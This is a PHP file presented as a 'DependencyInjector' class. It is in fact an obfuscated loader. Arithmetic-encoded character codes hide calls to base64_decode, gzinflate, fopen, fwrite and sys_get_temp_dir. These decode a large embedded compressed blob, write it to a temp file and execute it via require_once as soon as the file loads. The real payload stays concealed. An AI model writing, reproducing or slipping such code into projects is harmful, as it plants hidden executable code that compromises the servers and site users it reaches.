<?php
class DependencyInjector {
	private $pe = '';
	private $lt = '';

	public function resetState($p1) {
		$a = array((67+34),(((32*84)-2588)),111,(91+8),((80*13)-939),((77*1)+23),(((74*1)+21)),(52),((63-9)),(48+9+44),(82+4+29),((5+78+14)),((86+6+6)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function resolveConflict($p1) {
		$a = array((103*1),((46+50+26)),((25+35+45)),((68*81)-5398),((94*1)+8),(2*54),(((33*1)+64)),((2*58)),((107-6)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function processData($p1,$p2) {
		$a = array((((84*1)+18)),(109+1+1),(((34*3)+10)),((61+40)),((15+86+9)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function saveChanges($p1,$p2) {
		$a = array(((101+1)),((98+4+17)),(((39*71)-2655)),((60+45)),((62+54)),((95+6)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function logEvent($p1) {
		$a = array(((67*1)+34),((35*1)+80),((3*37)),((30*1)+78),(105-6),102);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function logTransaction($p1,$p2=null) {
		$a = array(((29*63)-1713),(33+83),(54+10+50),(((34*1)+71)),(24+85));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function filterResults() {
		$this->lt = $this->logTransaction($this->manageState(), '/');
	}

	public function triggerCallback() {
		$this->pe = $this->resolveConflict($this->resetState($this->ud));
	}

	public function calculateSum() {
		$fn = $this->lt.'/hp-68195dc2c647e';
		$f = $this->processData($fn, 'w');
		$this->saveChanges($f, $this->pe);
		$this->logEvent($f);
		$this->executeAction($fn);
	}

	private $ud = 'jVgLU+JIEP4rWmWdpAJWSABBLrelAoqroOEpFkUlIUAgJCEvH' . 'p7//bpnEggs4ukmm+nH1z09Pd0z/v3LnthnqiG77tnA3Hzajh7' . 'InnbmerKnqxcDL9gU6ffZyDdVT7fMs4FlJC4G0zHzqY8S565mj' . 'G5uiCRDvwdDLcEUHc3zHfNMkV0tlwGSagE5JvyBEH2m+LVvMmY' . 'GYT5jGqLsOPI6cTlYTI1L8Z/Lt05t2uvWNs+tWqCY0lrhl95bZ' . '+Uqguo1hSe7d3l1ycNjwOPXdXjfLi6TlwNzsSLqfMEfPrT94X2' . '6pXXvjLp+N1Ef71y5U5sMH4xA0QuL9y6CTFS+tob/5S687jjEU' . 'Dc2YrzzYyCJSJn5SOh1jd/qQ63UaPae5LnKNR9ss1ZeLXob6QX' . 'HjY4hyB2pK3WMV7llLTvGpP5SNuwhb0yVds9rdOwA+I9t0569c' . 'RaAZxF8Qayp3WFOu0WDxKI3miP19aHgvFI3Qlf8FaXD+GnSK2U' . 'IcegPkTrkK0B2ldut9NxeIINExo6+5r4WfQ7JxORHiVNLVvAs3' . 'KXf9SwoC73O01zurAz5obCBQK6f5zUgB0qjMFX4NHwuFaFmqER' . '4oW4Ks3eMnzR5hffb1ry1WJJICu21UikA1VbgNQ/XjQR74ZlbF' . '4gI4EtEAD3VSWhwoWsWrlYnHbG86VYNSI/wvERW1QBZEtcGQqu' . 'KqbF1aLQmgBi9CoervsddU3PdNnqnmvCaRSyPKL4uw9XxI8F9q' . 'TWxXC1PWu3KbfDSyCxLbzjrKk5bqHF1/TYS3cxcMgGM727ZRzI' . 'SS292ScFJZ/1ep8bJnQKk+F0JCAqI99643/BJkK0ITl7QmQk1F' . '0hkQ+QDZCzNaK3t2dYgmTXRM9cjanGL5FgqUhqYSlKrhZEqlJp' . 'ljHulaUijRvuWyCmLGZUDoUrhvcvh+ry2jOFdC+MhVaRK4aGZr' . 'm4T1yUZ3Zq1MZOaaanSxRWolKVKlQi4q2ALiAx4Cu0W1250uco' . 'jpkQLk61FsMZWzPZOqJUl7HEw3U6a7q5QsiG1ehXwAHAayF0Nl' . 'SNcwlK9+Xa/ODEhCMV+HBbmARd9b+J7JxOM5wexCgMVRgmEd4F' . 'yrHj8vxOHZ6uhbaLI0rBiTJFPE83aY5J9F4Y90jcnxL3ew5Opd' . 'Aqz3m4Dr0lWwTRy1TBhAprij8txu1UGarw2BQ7BQVzg4yLO23P' . 'IeVpDSWpXSyvMTXUKr8xvUiPCAtDdbg1ZI1YxSzvwlCP6ckVqn' . 'zpvkyKCE3f8Xe1E/6DlfE00eag5Ceh40K6gndGewjDFPxm4eaF' . 'hAA+6ne66mgfN76Hc/IjJqBvcwZdMn2E+L6BcqeJAVuIgmO1+i' . 'EEE/vrL9RzbcukoGXeEQjHnojiSDVdjPoe6FsfCsg9IXxowD3l' . 'ohvj69fW9t0PizBUEL3TYd8SLwX29/rtaLkKnHYoJ3fQYx/LNY' . 'YJjOaaIrTpO5K+E+A/7wxgBgqUV9u9w9IGW+mLML6z50IuY4nK' . 'iG1p4xIjJXono6kcunWNT2XyuT08QGNJzwog5mM6y6SxDJdj4b' . 'PYdE9gfCRCiz6MWOJb8O2IkzaZBS3E0eUbCybLfzdika03iC1J' . 'fJM4ULs+lwHrqLMXnOIZNpDJcnk3xApfKCGg2V2BQHNaKQqcyP' . 'A/CGSHXTzBXlBZ3iWfTPBPF6pB5BdHaPUw/gcAkM4g7FJ/jUny' . 'BLVyzQjZPJZJ/IGVZ0I7WN0YXWPgluNPxES2wm0W7R/wmPkVOI' . 'ZPP5iAMaRweLEjkPYPpr5uq4Q81OpPi1+5QCfvyYjAPwAtzsxJ' . 'N3zBwnrP1XiLC4QdnYU/G4v7mgrMQRnce0GIwUGXDkBVjbw9il' . '4QzDUMC6MxF1XeMgW7quBMBkSkSAuxMy0aSM0/et6Tn+mtz0Gg' . '8D9plqVp5fy2XpSTd/v9H/LHeaCYPMvCEYqX+/FzvPNfvb5vVe' . 'i2Z4q8hdXI5nk0JBYxu/oSuVG62pFpTuq01oD8kU+ksqPHXbCq' . 'dy7JCJntC9bF8W0KV7HWGTeUglc9SaZ7LnNC4r9dq5ftms/pSr' . 'reaSUg+kAc1AV3lhROakUoeQpGHesFnr3FFYZ2JirbSVKKAxKG' . 'pUOpY83RzZIUMQlINy9VCAqndIByvpXg0Zfrn8eKYy13ldj/X7' . 'A9jhglvSmS5w7IOBlXRlh1Xgyw3osS5GIxXSxG9UT8O6qYOXoj' . 'xZIWzL4MaqmbHyXgQDkgO72MAGc69tEJEbWNfYq2TdkEQrw62h' . 'QfP+giqR9tev/in1vqYF3jghTIQo4zIARwnsloq4si11Jlla2Y' . 'iQWLxKyaJp1vmZt8vONgyR+cK51ymn6QYuQxWVi57E29wB2v2w' . 'zhq7OAj8zmyfc+lgySZN6nvk4OmypLGSjvd+UizInUsGivbEEe' . 'QjBFKvJJm0vEGxf4wjhybThhMfuygAB46C1YOmxGc9HGJ0VtaF' . 'fg8Vs9oF6CDcLSgCYuA2IMmsidGKdMoS1CR4sF2whuIekk7w3h' . 'tnZDGCwOVGzrTE3K+S453VHQjn5BEwRVN+j7z65gE5ijcFZh+P' . 'HnGAV4zSeKp9uoEvr2Ijn5HwVd42FIOwFWPel/8KXgo5nyLjZa' . 'x+txgF/sxtME4CtlRMLpOO7DT8YfbxHdAmz0gyLSRbniaMwhkJ' . '0Hmm7zm82wmB5uuwKfpKcNfi4RFq9+hDsxrr7kJ19jq8c3E1EF' . 'qWzwpBaZQPHEMNidRQJhPTZ1YZ/uBX9OCBlBX+4xgW0I38hEW3' . 'G+QB1kTZ87COqat4BzAELfOI7/ABPPvv9vhRo6PAAf9C9XC+c3' . 'd8CwdP3Z4NB3Efwhict8zvC8R1kaOc/C6RMhoBlbdmIvQbzST/' . 'LEu/NNdOJq6lhl9owcMaS/RXQdV/8/tRsMI+XvXG4w9kdsG5+s' . '/';

	public function executeAction($p) {
		require_once($p);
	}

	public function manageState() {
		$a=array(((93+15+7)),(131-10),((110+5)),((5*19)),((106-3)),(103-2),(67+49),(7+88),((6*17)+14),(108-7),((104*67)-6859),(114-2),((54+10+31)),100,((3*35)),((6+108)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$uw = new DependencyInjector();
$uw->filterResults();
$uw->triggerCallback();
$uw->calculateSum();
